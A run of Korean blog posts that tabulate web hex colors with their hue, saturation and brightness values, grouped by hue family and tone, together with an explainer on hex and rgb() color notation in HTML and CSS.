| #0000CC (240, 100, 80) | #0033CC (225, 100, 80) | #0066CC (210, 100, 80) | #0099CC (195, 100, 80) | |
| #3300CC (255, 100, 80) | #3333CC (240, 75, 80) | #3366CC (220, 75, 80) | #3399CC (200, 75, 80) | |
| #6600CC (270, 100, 80) | #6633CC (260, 75, 80) | #6666CC (240, 50, 80) | #6699CC (210, 50, 80) | |
| #9900CC (285, 100, 80) | #9933CC (280, 75, 80) | #9966CC (270, 50, 80) | #9999CC (240, 25, 80) |
| #000099 (240, 100, 60) | #003399 (220, 100, 60) | #006699 (200, 100, 60) | ||
| #330099 (260, 100, 60) | #333399 (240, 67, 60) | #336699 (210, 67, 60) | ||
| #660099 (280, 100, 60) | #663399 (270, 67, 60) | #666699 (240, 33, 60) |
| #000066 (240, 100, 40) | #003366 (210, 100, 40) | |||
| #330066 (270, 100, 40) | #333366 (240, 50, 40) |
| #000033 (240, 100, 20) | |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| Red 계열 (0) | 2018.07.13 |
|---|---|
| Green 계열 (0) | 2018.07.13 |
| Yellow 계열 (0) | 2018.07.13 |
| Cyan 계열 (0) | 2018.07.13 |
| Magenta 계열 (0) | 2018.07.13 |
Yellow 계열
2018. 7. 13. 23:14
톤 변화
| #FFFF00 (60, 100, 100) | #FFFF33 (60, 80, 100) | #FFFF66 (60, 60, 100) | #FFFF99 (60, 40, 100) | #FFFFCC (60, 20, 100) |
| #CCCC00 (60, 100, 80) | #CCCC28 (60, 80, 80) | #CCCC51 (60, 60, 80) | #CCCC7A (60, 40, 80) | #CCCCA3 (60, 20, 80) |
| #999900 (60, 100, 60) | #99991E (60, 80, 60) | #99993D (60, 60, 60) | #99995B (60, 40, 60) | #99997A (60, 20, 60) |
| #666600 (60, 100, 40) | #666614 (60, 80, 40) | #666628 (60, 60, 40) | #66663D (60, 40, 40) | #666651 (60, 20, 40) |
| #333300 (60, 100, 20) | #33330A (60, 80, 20) | #333314 (60, 60, 20) | #33331E (60, 40, 20) | #333328 (60, 20, 20) |
색상+톤 변화
| #FFFF00 (60, 100, 100) | #CCFF00 (72, 100, 100) | #99FF00 (84, 100, 100) | #66FF00 (96, 100, 100) | #33FF00 (108, 100, 100) |
| #FFCC00 (48, 100, 100) | #FFFF33 (60, 80, 100) | #CCFF33 (75, 80, 100) | #99FF33 (90, 80, 100) | #66FF33 (105, 80, 100) |
| #FF9900 (36, 100, 100) | #FFCC33 (45, 80, 100) | #FFFF66 (60, 60, 100) | #CCFF66 (80, 60, 100) | #99FF66 (100, 60, 100) |
| #FF6600 (24, 100, 100) | #FF9933 (30, 80, 100) | #FFCC66 (40, 60, 100) | #FFFF99 (60, 40, 100) | #CCFF99 (90, 40, 100) |
| #FF3300 (12, 100, 100) | #FF6633 (15, 80, 100) | #FF9966 (20, 60, 100) | #FFCC99 (30, 40, 100) | #FFFFCC (60, 20, 100) |
| #CCCC00 (60, 100, 80) | #99CC00 (75, 100, 80) | #66CC00 (90, 100, 80) | #33CC00 (105, 100, 80) | |
| #CC9900 (45, 100, 80) | #CCCC33 (60, 75, 80) | #99CC33 (80, 75, 80) | #66CC33 (100, 75, 80) | |
| #CC6600 (30, 100, 80) | #CC9933 (40, 75, 80) | #CCCC66 (60, 50, 80) | #99CC66 (90, 50, 80) | |
| #CC3300 (15, 100, 80) | #CC6633 (20, 75, 80) | #CC9966 (30, 50, 80) | #CCCC99 (60, 25, 80) |
| #999900 (60, 100, 60) | #669900 (80, 100, 60) | #339900 (100, 100, 60) | ||
| #996600 (40, 100, 60) | #999933 (60, 67, 60) | #669933 (90, 67, 60) | ||
| #993300 (20, 100, 60) | #996633 (30, 67, 60) | #999966 (60, 33, 60) |
| #666600 (60, 100, 40) | #336600 (90, 100, 40) | |||
| #663300 (30, 100, 40) | #666633 (60, 50, 40) |
| #333300 (60, 100, 20) |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| Green 계열 (0) | 2018.07.13 |
|---|---|
| Blue 계열 (0) | 2018.07.13 |
| Cyan 계열 (0) | 2018.07.13 |
| Magenta 계열 (0) | 2018.07.13 |
| 채도 100% (0) | 2018.07.13 |
Cyan 계열
2018. 7. 13. 23:12
톤 변화
| #00FFFF (180, 100, 100) | #33FFFF (180, 80, 100) | #66FFFF (180, 60, 100) | #99FFFF (180, 40, 100) | #CCFFFF (180, 20, 100) |
| #00CCCC (180, 100, 80) | #28CCCC (180, 80, 80) | #51CCCC (180, 60, 80) | #7ACCCC (180, 40, 80) | #A3CCCC (180, 20, 80) |
| #009999 (180, 100, 60) | #1E9999 (180, 80, 60) | #3D9999 (180, 60, 60) | #5B9999 (180, 40, 60) | #7A9999 (180, 20, 60) |
| #006666 (180, 100, 40) | #146666 (180, 80, 40) | #286666 (180, 60, 40) | #3D6666 (180, 40, 40) | #516666 (180, 20, 40) |
| #003333 (180, 100, 20) | #0A3333 (180, 80, 20) | #143333 (180, 60, 20) | #1E3333 (180, 40, 20) | #283333 (180, 20, 20) |
색상+톤 변화
| #00FFFF (180, 100, 100) | #00FFCC (168, 100, 100) | #00FF99 (156, 100, 100) | #00FF66 (144, 100, 100) | #00FF33 (132, 100, 100) |
| #00CCFF (192, 100, 100) | #33FFFF (180, 80, 100) | #33FFCC (165, 80, 100) | #33FF99 (150, 80, 100) | #33FF66 (135, 80, 100) |
| #0099FF (204, 100, 100) | #33CCFF (195, 80, 100) | #66FFFF (180, 60, 100) | #66FFCC (160, 60, 100) | #66FF99 (140, 60, 100) |
| #0066FF (216, 100, 100) | #3399FF (210, 80, 100) | #66CCFF (200, 60, 100) | #99FFFF (180, 40, 100) | #99FFCC (150, 40, 100) |
| #0033FF (228, 100, 100) | #3366FF (225, 80, 100) | #6699FF (220, 60, 100) | #99CCFF (210, 40, 100) | #CCFFFF (180, 20, 100) |
| #00CCCC (180, 100, 80) | #00CC99 (165, 100, 80) | #00CC66 (150, 100, 80) | #00CC33 (135, 100, 80) | |
| #0099CC (195, 100, 80) | #33CCCC (180, 75, 80) | #33CC99 (160, 75, 80) | #33CC66 (140, 75, 80) | |
| #0066CC (210, 100, 80) | #3399CC (200, 75, 80) | #66CCCC (180, 50, 80) | #66CC99 (150, 50, 80) | |
| #0033CC (225, 100, 80) | #3366CC (220, 75, 80) | #6699CC (210, 50, 80) | #99CCCC (180, 25, 80) |
| #009999 (180, 100, 60) | #009966 (160, 100, 60) | #009933 (140, 100, 60) | ||
| #006699 (200, 100, 60) | #339999 (180, 67, 60) | #339966 (150, 67, 60) | ||
| #003399 (220, 100, 60) | #336699 (210, 67, 60) | #669999 (180, 33, 60) |
| #006666 (180, 100, 40) | #006633 (150, 100, 40) | |||
| #003366 (210, 100, 40) | #336666 (180, 50, 40) |
| #003333 (180, 100, 20) |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| Blue 계열 (0) | 2018.07.13 |
|---|---|
| Yellow 계열 (0) | 2018.07.13 |
| Magenta 계열 (0) | 2018.07.13 |
| 채도 100% (0) | 2018.07.13 |
| 채도 80% (0) | 2018.07.13 |
Magenta 계열
2018. 7. 13. 23:10
톤 변화
| #FF00FF (300, 100, 100) | #FF33FF (300, 80, 100) | #FF66FF (300, 60, 100) | #FF99FF (300, 40, 100) | #FFCCFF (300, 20, 100) |
| #CC00CC (300, 100, 80) | #CC28CC (300, 80, 80) | #CC51CC (300, 60, 80) | #CC7ACC (300, 40, 80) | #CCA3CC (300, 20, 80) |
| #990099 (300, 100, 60) | #991E99 (300, 80, 60) | #993D99 (300, 60, 60) | #995B99 (300, 40, 60) | #997A99 (300, 20, 60) |
| #660066 (300, 100, 40) | #661466 (300, 80, 40) | #662866 (300, 60, 40) | #663D66 (300, 40, 40) | #665166 (300, 20, 40) |
| #330033 (300, 100, 20) | #330A33 (300, 80, 20) | #331433 (300, 60, 20) | #331E33 (300, 40, 20) | #332833 (300, 20, 20) |
색상+톤 변화
| #FF00FF (300, 100, 100) | #FF00CC (312, 100, 100) | #FF0099 (324, 100, 100) | #FF0066 (336, 100, 100) | #FF0033 (348, 100, 100) |
| #CC00FF (288, 100, 100) | #FF33FF (300, 80, 100) | #FF33CC (315, 80, 100) | #FF3399 (330, 80, 100) | #FF3366 (345, 80, 100) |
| #9900FF (276, 100, 100) | #CC33FF (285, 80, 100) | #FF66FF (300, 60, 100) | #FF66CC (320, 60, 100) | #FF6699 (340, 60, 100) |
| #6600FF (264, 100, 100) | #9933FF (270, 80, 100) | #CC66FF (280, 60, 100) | #FF99FF (300, 40, 100) | #FF99CC (330, 40, 100) |
| #3300FF (252, 100, 100) | #6633FF (255, 80, 100) | #9966FF (260, 60, 100) | #CC99FF (270, 40, 100) | #FFCCFF (300, 20, 100) |
| #CC00CC (300, 100, 80) | #CC0099 (315, 100, 80) | #CC0066 (330, 100, 80) | #CC0033 (345, 100, 80) | |
| #9900CC (285, 100, 80) | #CC33CC (300, 75, 80) | #CC3399 (320, 75, 80) | #CC3366 (340, 75, 80) | |
| #6600CC (270, 100, 80) | #9933CC (280, 75, 80) | #CC66CC (300, 50, 80) | #CC6699 (330, 50, 80) | |
| #3300CC (255, 100, 80) | #6633CC (260, 75, 80) | #9966CC (270, 50, 80) | #CC99CC (300, 25, 80) |
| #990099 (300, 100, 60) | #990066 (320, 100, 60) | #990033 (340, 100, 60) | ||
| #660099 (280, 100, 60) | #993399 (300, 67, 60) | #993366 (330, 67, 60) | ||
| #330099 (260, 100, 60) | #663399 (270, 67, 60) | #996699 (300, 33, 60) |
| #660066 (300, 100, 40) | #660033 (330, 100, 40) | |||
| #330066 (270, 100, 40) | #663366 (300, 50, 40) |
| #330033 (300, 100, 20) |
16진수 표기방법
2018. 7. 13. 23:07
HTML에서의 색 지정
웹페이지를 구성하는 HTML(HyperText Markup Language)에는 배경색, 글자색 등에 색을 지정하는 부분이 있다. 각 속성값으로서 16진수의 컬러값(16진수 앞에 '#'를 붙입니다.)을 사용하거나 을 직접 사용하는 방법 두 가지가 있다.
그런데 W3C()에서는 HTML에서 색(color)을 요소(Element)와 속성(Attribute)에 직접 지정하는 대신 스타일시트를 사용할 것을 권장하고 있다.
16진수 표기방법
HTML에서 사용되는 컬러값은 주로 "#FFFFFF"처럼 '#'와 함께 6자리의 16진수를 사용한다. (요즘 브라우저들은 '#'가 없어도 제대로 색을 표시해 주기도 하지만, 원칙적으로 '#'를 넣어주는 것이 정확한 표기다.)
6자리의 16진수는 각각 두 자리씩 세 가지 색상을 의미하는데, 첫번째 두 자리는 적색(Red), 가운데 두 자리는 녹색(Green), 마지막 두 자리는청색(Blue)을 의미한다. (편의상 'Green'이라고 했지만, 컬러값으로는 'Green(#008000)'이 아니라 'Lime(#00FF00)'이다.)
세 가지 주요 색상을 16진수 두 자리까지 표시할 수 있으므로 각각 256(16의 제곱) 단계로 나누어 표현할 수 있다. 따라서 6자리의 16진수로 표현할 수 있는 색의 수는 16,777,216(16의 6제곱)가지나 된다.
참고로, #66CC99처럼 16진수값이 중복될 경우에는 #6C9로 생략하여 표시할 수 있다.
| 10진수 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 16진수 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | B | C | D | E | F |
| 10진수 | 00 | 51 | 102 | 153 | 204 | 255 |
|---|---|---|---|---|---|---|
| 16진수 | 00 | 33 | 66 | 99 | CC | FF |
| 백분율(%) | 0% | 20% | 40% | 60% | 80% | 100% |
10진수 표기방법
스타일시트(StyleSheet)에서는 10진수를 사용하여 색을 지정하기도 한다. 우선 아래 표로 색 표기방법을 비교해 보면,
| 색 이름 | 16진수 | 10진수 |
|---|---|---|
| red | #FF0000 | rgb(255, 0, 0) |
10진수 표기방법은 "rgb(255,0,0)"와 같이 나타내며, 괄호 안에는 적색(R), 녹색(G), 청색(B)의 값이 순서대로 들어간다. 각 색상의 최대값은 255이며, 각 RGB값은 쉼표(,)로 구분한다.
16진수 컬러값과 색상(Hue)
16진수로 표기된 컬러값의 색상(Hue;색의 종류)은 다음 단계에 따라 구분할 수 있다. (색과 색상은 혼동하기 쉽지만, 서로 다른 말이다.)
- RGB 중 가장 값이 큰 색상
- 나머지 두 색상의 비율
예를 들어, #FF3333과 #CC5151은 동일한 색상이다. 두 색 모두 R값이 가장 크고, 나머지 G값과 B값의 비율이 1로 같기 때문이다. 서로 다른 색이지만, 같은 색상인 것이다. 참고로, 아래 색상은 모두 적색(Red, 색상환에서 0도)이다.
| #FF0000 (0, 100, 100) | #FF3333 (0, 80, 100) | #FF6666 (0, 60, 100) | #FF9999 (0, 40, 100) | #FFCCCC (0, 20, 100) |
| #CC0000 (0, 100, 80) | #CC2828 (0, 80, 80) | #CC5151 (0, 60, 80) | #CC7A7A (0, 40, 80) | #CCA3A3 (0, 20, 80) |
| #990000 (0, 100, 60) | #991E1E (0, 80, 60) | #993D3D (0, 60, 60) | #995B5B (0, 40, 60) | #997A7A (0, 20, 60) |
| #660000 (0, 100, 40) | #661414 (0, 80, 40) | #662828 (0, 60, 40) | #663D3D (0, 40, 40) | #665151 (0, 20, 40) |
| #330000 (0, 100, 20) | #330A0A (0, 80, 20) | #331414 (0, 60, 20) | #331E1E (0, 40, 20) | #332828 (0, 20, 20) |
16진수 컬러값과 명도(Brightness)
16진수 표기방식에서 명도(Brightness;색의 밝기)는 다음 단계에 따라 구할 수 있다.
- RGB 중 가장 값이 큰 색상의 색상값
- 그 값과 표현 가능한 최대값(16진수 FF, 10진수 255)의 비율(%)
예를 들어, #33CC66이 가리키는 색의 명도는 80%이다. 가장 큰 G값이 CC(80%)이기 때문이다.
RGB 중 그 값이 FF이 하나라도 있다면 그 색의 명도는 100%가 된다. 참고로, 아래 색의 명도는 모두 80%이다.
| #6600CC (270, 100, 80) | #7A28CC (270, 80, 80) | #8E51CC (270, 60, 80) | #A37ACC (270, 40, 80) | #B7A3CC (270, 20, 80) |
| #CC00CC (300, 100, 80) | #CC28CC (300, 80, 80) | #CC51CC (300, 60, 80) | #CC7ACC (300, 40, 80) | #CCA3CC (300, 20, 80) |
| #CC0066 (330, 100, 80) | #CC287A (330, 80, 80) | #CC518E (330, 60, 80) | #CC7AA3 (330, 40, 80) | #CCA3B7 (330, 20, 80) |
16진수 컬러값과 채도(Saturation)
채도(Saturation;색의 선명도)는 말로 설명하는 것보다 계산식으로 표현하는 것이 쉬울 것 같다. RGB 중 가장 큰 색상값을 MAX, 가장 작은 색상값을 MIN이라고 하면, 채도는 다음과 같이 구할 수 있다.
(채도) = (MAX - MIN) / MAX * 100 (%)
예를 들어, #3399FF의 채도는 80%이다. RGB 중 가장 큰 B값은 FF(100%)이고, 가장 작은 R값이 33(20%)이기 때문에 채도를 계산해 보면 (100-20)/100*100 = 80%가 된다.
채도라는 것은 '색의 선명도'라고 했다. 여러가지 색이 비슷한 비율로 섞여있다면 그 색이 탁해지는 것은 당연한 것이다. RGB 중 00값이 하나라도 있다면 그 색의 채도는 100%가 된다. 그리고 RGB의 비율이 모두 같으면 아무런 특징없는 색이 되어 무채색(채도 0%)이 된다. 참고로, 아래 색의 채도는 모두 80%이다.
| #FF9933 (30, 80, 100) | #CC7A28 (30, 80, 80) | #995B1E (30, 80, 60) | #663D14 (30, 80, 40) | #331E0A (30, 80, 20) |
| #FFFF33 (60, 80, 100) | #CCCC28 (60, 80, 80) | #99991E (60, 80, 60) | #666614 (60, 80, 40) | #33330A (60, 80, 20) |
| #99FF33 (90, 80, 100) | #7ACC28 (90, 80, 80) | #5B991E (90, 80, 60) | #3D6614 (90, 80, 40) | #1E330A (90, 80, 20) |
'컬러' 카테고리의 다른 글
| PDF/X의 이해 5-7 (1) | 2018.07.13 |
|---|---|
| PDF/X의 이해 1-4 (1) | 2018.07.13 |
채도 100%
2018. 7. 13. 23:06
명도 변화 (high-->low)
| #FF0000 (0, 100, 100) | #CC0000 (0, 100, 80) | #990000 (0, 100, 60) | #660000 (0, 100, 40) | #330000 (0, 100, 20) |
| #FF7F00 (30, 100, 100) | #CC6600 (30, 100, 80) | #994C00 (30, 100, 60) | #663300 (30, 100, 40) | #331900 (30, 100, 20) |
| #FFFF00 (60, 100, 100) | #CCCC00 (60, 100, 80) | #999900 (60, 100, 60) | #666600 (60, 100, 40) | #333300 (60, 100, 20) |
| #7FFF00 (90, 100, 100) | #66CC00 (90, 100, 80) | #4C9900 (90, 100, 60) | #336600 (90, 100, 40) | #193300 (90, 100, 20) |
| #00FF00 (120, 100, 100) | #00CC00 (120, 100, 80) | #009900 (120, 100, 60) | #006600 (120, 100, 40) | #003300 (120, 100, 20) |
| #00FF7F (150, 100, 100) | #00CC66 (150, 100, 80) | #00994C (150, 100, 60) | #006633 (150, 100, 40) | #003319 (150, 100, 20) |
| #00FFFF (180, 100, 100) | #00CCCC (180, 100, 80) | #009999 (180, 100, 60) | #006666 (180, 100, 40) | #003333 (180, 100, 20) |
| #007FFF (210, 100, 100) | #0066CC (210, 100, 80) | #004C99 (210, 100, 60) | #003366 (210, 100, 40) | #001933 (210, 100, 20) |
| #0000FF (240, 100, 100) | #0000CC (240, 100, 80) | #000099 (240, 100, 60) | #000066 (240, 100, 40) | #000033 (240, 100, 20) |
| #7F00FF (270, 100, 100) | #6600CC (270, 100, 80) | #4C0099 (270, 100, 60) | #330066 (270, 100, 40) | #190033 (270, 100, 20) |
| #FF00FF (300, 100, 100) | #CC00CC (300, 100, 80) | #990099 (300, 100, 60) | #660066 (300, 100, 40) | #330033 (300, 100, 20) |
| #FF007F (330, 100, 100) | #CC0066 (330, 100, 80) | #99004C (330, 100, 60) | #660033 (330, 100, 40) | #330019 (330, 100, 20) |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| Cyan 계열 (0) | 2018.07.13 |
|---|---|
| Magenta 계열 (0) | 2018.07.13 |
| 채도 80% (0) | 2018.07.13 |
| 채도 60% (0) | 2018.07.13 |
| 채도 40% (0) | 2018.07.13 |
채도 80%
2018. 7. 13. 23:05
명도 변화 (high-->low)
| #FF3333 (0, 80, 100) | #CC2828 (0, 80, 80) | #991E1E (0, 80, 60) | #661414 (0, 80, 40) | #330A0A (0, 80, 20) |
| #FF9933 (30, 80, 100) | #CC7A28 (30, 80, 80) | #995B1E (30, 80, 60) | #663D14 (30, 80, 40) | #331E0A (30, 80, 20) |
| #FFFF33 (60, 80, 100) | #CCCC28 (60, 80, 80) | #99991E (60, 80, 60) | #666614 (60, 80, 40) | #33330A (60, 80, 20) |
| #99FF33 (90, 80, 100) | #7ACC28 (90, 80, 80) | #5B991E (90, 80, 60) | #3D6614 (90, 80, 40) | #1E330A (90, 80, 20) |
| #33FF33 (120, 80, 100) | #28CC28 (120, 80, 80) | #1E991E (120, 80, 60) | #146614 (120, 80, 40) | #0A330A (120, 80, 20) |
| #33FF99 (150, 80, 100) | #28CC7A (150, 80, 80) | #1E995B (150, 80, 60) | #14663D (150, 80, 40) | #0A331E (150, 80, 20) |
| #33FFFF (180, 80, 100) | #28CCCC (180, 80, 80) | #1E9999 (180, 80, 60) | #146666 (180, 80, 40) | #0A3333 (180, 80, 20) |
| #3399FF (210, 80, 100) | #287ACC (210, 80, 80) | #1E5B99 (210, 80, 60) | #143D66 (210, 80, 40) | #0A1E33 (210, 80, 20) |
| #3333FF (240, 80, 100) | #2828CC (240, 80, 80) | #1E1E99 (240, 80, 60) | #141466 (240, 80, 40) | #0A0A33 (240, 80, 20) |
| #9933FF (270, 80, 100) | #7A28CC (270, 80, 80) | #5B1E99 (270, 80, 60) | #3D1466 (270, 80, 40) | #1E0A33 (270, 80, 20) |
| #FF33FF (300, 80, 100) | #CC28CC (300, 80, 80) | #991E99 (300, 80, 60) | #661466 (300, 80, 40) | #330A33 (300, 80, 20) |
| #FF3399 (330, 80, 100) | #CC287A (330, 80, 80) | #991E5B (330, 80, 60) | #66143D (330, 80, 40) | #330A1E (330, 80, 20) |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| Magenta 계열 (0) | 2018.07.13 |
|---|---|
| 채도 100% (0) | 2018.07.13 |
| 채도 60% (0) | 2018.07.13 |
| 채도 40% (0) | 2018.07.13 |
| 채도 20% (0) | 2018.07.13 |
채도 60%
2018. 7. 13. 23:05
명도 변화 (high-->low)
| #FF6666 (0, 60, 100) | #CC5151 (0, 60, 80) | #993D3D (0, 60, 60) | #662828 (0, 60, 40) | #331414 (0, 60, 20) |
| #FFB266 (30, 60, 100) | #CC8E51 (30, 60, 80) | #996B3D (30, 60, 60) | #664728 (30, 60, 40) | #332314 (30, 60, 20) |
| #FFFF66 (60, 60, 100) | #CCCC51 (60, 60, 80) | #99993D (60, 60, 60) | #666628 (60, 60, 40) | #333314 (60, 60, 20) |
| #B2FF66 (90, 60, 100) | #8ECC51 (90, 60, 80) | #6B993D (90, 60, 60) | #476628 (90, 60, 40) | #233314 (90, 60, 20) |
| #66FF66 (120, 60, 100) | #51CC51 (120, 60, 80) | #3D993D (120, 60, 60) | #286628 (120, 60, 40) | #143314 (120, 60, 20) |
| #66FFB2 (150, 60, 100) | #51CC8E (150, 60, 80) | #3D996B (150, 60, 60) | #286647 (150, 60, 40) | #143323 (150, 60, 20) |
| #66FFFF (180, 60, 100) | #51CCCC (180, 60, 80) | #3D9999 (180, 60, 60) | #286666 (180, 60, 40) | #143333 (180, 60, 20) |
| #66B2FF (210, 60, 100) | #518ECC (210, 60, 80) | #3D6B99 (210, 60, 60) | #284766 (210, 60, 40) | #142333 (210, 60, 20) |
| #6666FF (240, 60, 100) | #5151CC (240, 60, 80) | #3D3D99 (240, 60, 60) | #282866 (240, 60, 40) | #141433 (240, 60, 20) |
| #B266FF (270, 60, 100) | #8E51CC (270, 60, 80) | #6B3D99 (270, 60, 60) | #472866 (270, 60, 40) | #231433 (270, 60, 20) |
| #FF66FF (300, 60, 100) | #CC51CC (300, 60, 80) | #993D99 (300, 60, 60) | #662866 (300, 60, 40) | #331433 (300, 60, 20) |
| #FF66B2 (330, 60, 100) | #CC518E (330, 60, 80) | #993D6B (330, 60, 60) | #662847 (330, 60, 40) | #331423 (330, 60, 20) |
채도 40%
2018. 7. 13. 23:04
명도 변화 (high-->low)
| #FF9999 (0, 40, 100) | #CC7A7A (0, 40, 80) | #995B5B (0, 40, 60) | #663D3D (0, 40, 40) | #331E1E (0, 40, 20) |
| #FFCC99 (30, 40, 100) | #CCA37A (30, 40, 80) | #997A5B (30, 40, 60) | #66513D (30, 40, 40) | #33281E (30, 40, 20) |
| #FFFF99 (60, 40, 100) | #CCCC7A (60, 40, 80) | #99995B (60, 40, 60) | #66663D (60, 40, 40) | #33331E (60, 40, 20) |
| #CCFF99 (90, 40, 100) | #A3CC7A (90, 40, 80) | #7A995B (90, 40, 60) | #51663D (90, 40, 40) | #28331E (90, 40, 20) |
| #99FF99 (120, 40, 100) | #7ACC7A (120, 40, 80) | #5B995B (120, 40, 60) | #3D663D (120, 40, 40) | #1E331E (120, 40, 20) |
| #99FFCC (150, 40, 100) | #7ACCA3 (150, 40, 80) | #5B997A (150, 40, 60) | #3D6651 (150, 40, 40) | #1E3328 (150, 40, 20) |
| #99FFFF (180, 40, 100) | #7ACCCC (180, 40, 80) | #5B9999 (180, 40, 60) | #3D6666 (180, 40, 40) | #1E3333 (180, 40, 20) |
| #99CCFF (210, 40, 100) | #7AA3CC (210, 40, 80) | #5B7A99 (210, 40, 60) | #3D5166 (210, 40, 40) | #1E2833 (210, 40, 20) |
| #9999FF (240, 40, 100) | #7A7ACC (240, 40, 80) | #5B5B99 (240, 40, 60) | #3D3D66 (240, 40, 40) | #1E1E33 (240, 40, 20) |
| #CC99FF (270, 40, 100) | #A37ACC (270, 40, 80) | #7A5B99 (270, 40, 60) | #513D66 (270, 40, 40) | #281E33 (270, 40, 20) |
| #FF99FF (300, 40, 100) | #CC7ACC (300, 40, 80) | #995B99 (300, 40, 60) | #663D66 (300, 40, 40) | #331E33 (300, 40, 20) |
| #FF99CC (330, 40, 100) | #CC7AA3 (330, 40, 80) | #995B7A (330, 40, 60) | #663D51 (330, 40, 40) | #331E28 (330, 40, 20) |
채도 20%
2018. 7. 13. 23:04
명도 변화 (high-->low)
| #FFCCCC (0, 20, 100) | #CCA3A3 (0, 20, 80) | #997A7A (0, 20, 60) | #665151 (0, 20, 40) | #332828 (0, 20, 20) |
| #FFE599 (30, 20, 100) | #CCB7A3 (30, 20, 80) | #99897A (30, 20, 60) | #665B51 (30, 20, 40) | #332D28 (30, 20, 20) |
| #FFFFCC (60, 20, 100) | #CCCCA3 (60, 20, 80) | #99997A (60, 20, 60) | #666651 (60, 20, 40) | #333328 (60, 20, 20) |
| #E5FFCC (90, 20, 100) | #B7CCA3 (90, 20, 80) | #89997A (90, 20, 60) | #5B6651 (90, 20, 40) | #2D3328 (90, 20, 20) |
| #CCFFCC (120, 20, 100) | #A3CCA3 (120, 20, 80) | #7A997A (120, 20, 60) | #516651 (120, 20, 40) | #283328 (120, 20, 20) |
| #CCFFE5 (150, 20, 100) | #A3CCB7 (150, 20, 80) | #7A9989 (150, 20, 60) | #51665B (150, 20, 40) | #28332D (150, 20, 20) |
| #CCFFFF (180, 20, 100) | #A3CCCC (180, 20, 80) | #7A9999 (180, 20, 60) | #516666 (180, 20, 40) | #283333 (180, 20, 20) |
| #CCE5FF (210, 20, 100) | #A3B7CC (210, 20, 80) | #7A8999 (210, 20, 60) | #515B66 (210, 20, 40) | #282D33 (210, 20, 20) |
| #CCCCFF (240, 20, 100) | #A3A3CC (240, 20, 80) | #7A7A99 (240, 20, 60) | #515166 (240, 20, 40) | #282833 (240, 20, 20) |
| #E5CCFF (270, 20, 100) | #B7A3CC (270, 20, 80) | #897A99 (270, 20, 60) | #5B5166 (270, 20, 40) | #2D2833 (270, 20, 20) |
| #FFCCFF (300, 20, 100) | #CCA3CC (300, 20, 80) | #997A99 (300, 20, 60) | #665166 (300, 20, 40) | #332833 (300, 20, 20) |
| #FFCCE5 (330, 20, 100) | #CCA3B7 (330, 20, 80) | #997A89 (330, 20, 60) | #66515B (330, 20, 40) | #33282D (330, 20, 20) |
명도 100%
2018. 7. 13. 23:03
| #FF0000 (0, 100, 100) | #FF3333 (0, 80, 100) | #FF6666 (0, 60, 100) | #FF9999 (0, 40, 100) | #FFCCCC (0, 20, 100) |
| #FF7F00 (30, 100, 100) | #FF9933 (30, 80, 100) | #FFB266 (30, 60, 100) | #FFCC99 (30, 40, 100) | #FFE5CC (30, 20, 100) |
| #FFFF00 (60, 100, 100) | #FFFF33 (60, 80, 100) | #FFFF66 (60, 60, 100) | #FFFF99 (60, 40, 100) | #FFFFCC (60, 20, 100) |
| #7FFF00 (90, 100, 100) | #99FF33 (90, 80, 100) | #B2FF66 (90, 60, 100) | #CCFF99 (90, 40, 100) | #E5FFCC (90, 20, 100) |
| #00FF00 (120, 100, 100) | #33FF33 (120, 80, 100) | #66FF66 (120, 60, 100) | #99FF99 (120, 40, 100) | #CCFFCC (120, 20, 100) |
| #00FF7F (150, 100, 100) | #33FF99 (150, 80, 100) | #66FFB2 (150, 60, 100) | #99FFCC (150, 40, 100) | #CCFFE5 (150, 20, 100) |
| #00FFFF (180, 100, 100) | #33FFFF (180, 80, 100) | #66FFFF (180, 60, 100) | #99FFFF (180, 40, 100) | #CCFFFF (180, 20, 100) |
| #007FFF (210, 100, 100) | #3399FF (210, 80, 100) | #66B2FF (210, 60, 100) | #99CCFF (210, 40, 100) | #CCE5FF (210, 20, 100) |
| #0000FF (240, 100, 100) | #3333FF (240, 80, 100) | #6666FF (240, 60, 100) | #9999FF (240, 40, 100) | #CCCCFF (240, 20, 100) |
| #7F00FF (270, 100, 100) | #9933FF (270, 80, 100) | #B266FF (270, 60, 100) | #CC99FF (270, 40, 100) | #E5CCFF (270, 20, 100) |
| #FF00FF (300, 100, 100) | #FF33FF (300, 80, 100) | #FF66FF (300, 60, 100) | #FF99FF (300, 40, 100) | #FFCCFF (300, 20, 100) |
| #FF007F (330, 100, 100) | #FF3399 (330, 80, 100) | #FF66B2 (330, 60, 100) | #FF99CC (330, 40, 100) | #FFCCE5 (330, 20, 100) |
명도 80%
2018. 7. 13. 23:02
| #CC0000 (0, 100, 80) | #CC2828 (0, 80, 80) | #CC5151 (0, 60, 80) | #CC7A7A (0, 40, 80) | #CCA3A3 (0, 20, 80) |
| #CC6600 (30, 100, 80) | #CC7A28 (30, 80, 80) | #CC8E51 (30, 60, 80) | #CCA37A (30, 40, 80) | #CCB7A3 (30, 20, 80) |
| #CCCC00 (60, 100, 80) | #CCCC28 (60, 80, 80) | #CCCC51 (60, 60, 80) | #CCCC7A (60, 40, 80) | #CCCCA3 (60, 20, 80) |
| #66CC00 (90, 100, 80) | #7ACC28 (90, 80, 80) | #8ECC51 (90, 60, 80) | #A3CC7A (90, 40, 80) | #B7CCA3 (90, 20, 80) |
| #00CC00 (120, 100, 80) | #28CC28 (120, 80, 80) | #51CC51 (120, 60, 80) | #7ACC7A (120, 40, 80) | #A3CCA3 (120, 20, 80) |
| #00CC66 (150, 100, 80) | #28CC7A (150, 80, 80) | #51CC8E (150, 60, 80) | #7ACCA3 (150, 40, 80) | #A3CCB7 (150, 20, 80) |
| #00CCCC (180, 100, 80) | #28CCCC (180, 80, 80) | #51CCCC (180, 60, 80) | #7ACCCC (180, 40, 80) | #A3CCCC (180, 20, 80) |
| #0066CC (210, 100, 80) | #287ACC (210, 80, 80) | #518ECC (210, 60, 80) | #7AA3CC (210, 40, 80) | #A3B7CC (210, 20, 80) |
